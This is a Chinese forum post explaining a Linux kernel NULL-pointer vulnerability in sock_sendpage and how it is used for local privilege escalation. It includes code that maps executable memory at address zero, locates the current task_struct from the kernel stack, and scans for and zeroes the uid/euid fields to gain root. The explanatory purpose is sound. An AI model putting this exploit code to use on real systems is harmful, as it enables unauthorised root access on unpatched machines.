设为首页 收藏本站
查看: 432|回复: 0

[经验分享] NULL指针引起的一个linux内核漏洞

[复制链接]

尚未签到

发表于 2016-3-15 09:11:49 | 显示全部楼层 |阅读模式
  NULL指针一般都是应用于有效性检测的,其实这里面有一个约定俗成的规则,就是说无效指针并不一定是 NULL,只是为了简单起见,规则约定只要指针无效了就将之设置为NULL,结果就是NULL这个指针被用来检测指针有效性,于是它就不能用作其它了,而实际上NULL就是0,代表了数值编号为0的一个内存地址,抛开那个约定,它和别的addr没有任何区别,简单的说,完全可以选择一个其它的地址作为指针有效性检测,比如0x1234等等,不选其它地址的原因就是第一,NULL比较好记忆,第二,由于NULL就是0,因此很容易进行布尔判断。请看下面的程序:
  void null_func()
  {
  printf("aaaaaaaaaaaaaaaaaaaaaaaaaa/n");
  }
  void map_and_call_null()
  {
  char *addr = NULL;
  addr = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
  addr[0] = '/xff';
  addr[1] = '/x25';
  *(unsigned int *)&addr[2] = 6;
  *(unsigned long *)&addr[6] = (unsigned long)&null_func;
  void (*aaa)();
  aaa = NULL; //设置为NULL
  (*aaa)();
  }
  int main(void)
  {
  map_and_call_null(NULL);
  }
  结果成功打印出了一片a,这就说明NULL是可以作为一个正常的地址来使用的,如此一来就出现了一个漏洞,其实按照理论上讲除非你把NULL地址的内存的访问权限完全封死,要不然这个漏洞就是无法弥补的,只能通过程序员自己来负责了。而完全封死NULL又不符合设计规范,用户空间的进程内存是可以被该进程自由访问的,任何机构都没有权力封死一块内存的访问权限,既然不能封死NULL,那么按照规则和编译器的特性内核中的指针在初始化的时候都被初始化成了 NULL,如果后面没有再被赋予正确的值,那么它将一直是NULL,如果此时有一个执行绪没有检查NULL指针直接调用了一个可能是NULL的回调函数,那么只要在NULL地址处映射着的代码都将被执行,而映射什么代码全部是用户进程说了算的。于是乎在内核空间为了安全起见一般都将函数指针初始化为一个 stub函数,然后在该stub中直接返回一个出错码,还有一种初始化方式就是初始化为一个0xc0000000指针,用户空间是无法访问内核空间的,因此就不能往这个地址映射任何东西,内核空间和用户空间完全分治。
  现在的内核普遍采用了stub函数的初始化方式,但是总是有一些例外,正如漏洞描述上所说的,并不是所有的事情都符合这个约定的,因此就存在有一些函数没有被初始化为stub的,socket的file_operations中的sendpage就是其中之一,它实现如下:
  static ssize_t sock_sendpage(struct file *file,...)
  {
  struct socket *sock;
  int flags;
  sock = file->private_data;
  flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
  if (more)
  flags |= MSG_MORE;
  return sock->ops->sendpage(sock, page, offset, size, flags);
  }
  如果碰上没有初始化sock->ops->sendpage为stub的情况,那么它就是NULL,如果对应的协议族根本没有用到这个回调函数,那么它将一直是NULL,于是乎只需要在用户空间将NULL地址处映射为修改uid或者euid的代码就可以从普通权限跳跃到root权限。但是这个漏洞额度利用并不像内核自杀式漏洞的利用那么简单。
  由于代码是在用户空间注入的,所以就不能直接用内核空间的current宏了,必须通过内核栈来间接的得到当前进程的task_struct指针,其实内核空间的current宏也是这么实现的,只不过在用户空间编译程序之前是不能动态使用内核数据结构的,那么当用户空间代码注入到内核以后(其实没有注入内核,而是引导内核空间的执行绪调用用户空间的代码而已),自己按照current的实现方式再实现一个好了,这对内核爱好者应该不难:
  static inline unsigned long get_current_4k(void)
  {
  unsigned long current = 0;
  asm volatile (
  " movl %%esp, %0;"
  : "=r" (current)
  );
  current = *(unsigned long *)(current & 0xfffff000);
  if (current  0xfffff000)
  return 0;
  return current;
  }
  找到了当前进程的task_struct,那么接下来就是找到其uid/euid字段并且更改之,如何找到这些字段又是一个难题,因为在用户空间并不知道该运行的内核的task_struct是怎么实现的,因此只能通过特征来猜测了,我们现在知道的信息是当前进程的uid,euid以及uid,euid等字段在task_struct中的相对位置,就是说虽然不知道uid的绝对偏移,但是知道euid和uid的相对偏移信息,如此一来就可以一个一个字节的搜索了,代码如下:
  repeat:
  current = (unsigned int *)orig_current;(由get_current_4k()得到)
  while (((unsigned long)current   
  (current[0] != our_uid || current[1] != our_uid ||
  current[2] != our_uid || current[3] != our_uid))
  current++;
  if ((unsigned long)current >= (orig_current + 0x1000 - 17 )) {
  if (orig_current == orig_current_4k) {
  orig_current = get_current_8k();
  goto repeat;
  }
  return;
  }
  got_root = 1;
  memset(current, 0, sizeof(unsigned int) * 8); //最终修改task_struct的uid信息
  如此用NULL指针漏洞就可以从普通用户权限提升到root用户权限,但是这一招在windows上能否行得通呢?我们来做一个实验:
  unsigned long addr = XXX;//随便一个0到64k的地址都可以,不妨设置为NULL
  char * p = (char *) VirtualAlloc((LPVOID)addr,0x1000,MEM_COMMIT,PAGE_READONLY);
  DWORD dwRequest;
  BOOL b = VirtualProtect(p,0x1000,PAGE_READWRITE,&dwRequest);
  经过上述的实验,发现两个函数都失败了,为什么呢?其实在windows中明确规定了一个64k大小的用户禁入区,也就是这个区域内的内存是不能访问的,这就避免了linux中的上述的漏洞问题,但是为何linux不这么做呢?呵呵,linux不将NULL封死就是因为机制和策略相分离的原则,操作系统内核给与用户空间最大的自由,不规定内存怎么映射,随便怎么映射都可以。如果非要说linux的NULL指针没有封死是个潜在的漏洞,那也只能说该漏洞是内核路径没有严格验证指针是否为NULL导致的而不是NULL本身导致的,需要做的不是封死NULL,而是在有漏洞的地方加上NULL判断

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-190961-1-1.html 上篇帖子: windows下和linux下PHP支持oracle 下篇帖子: Linux Sybase安装中碰到的一些问题
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表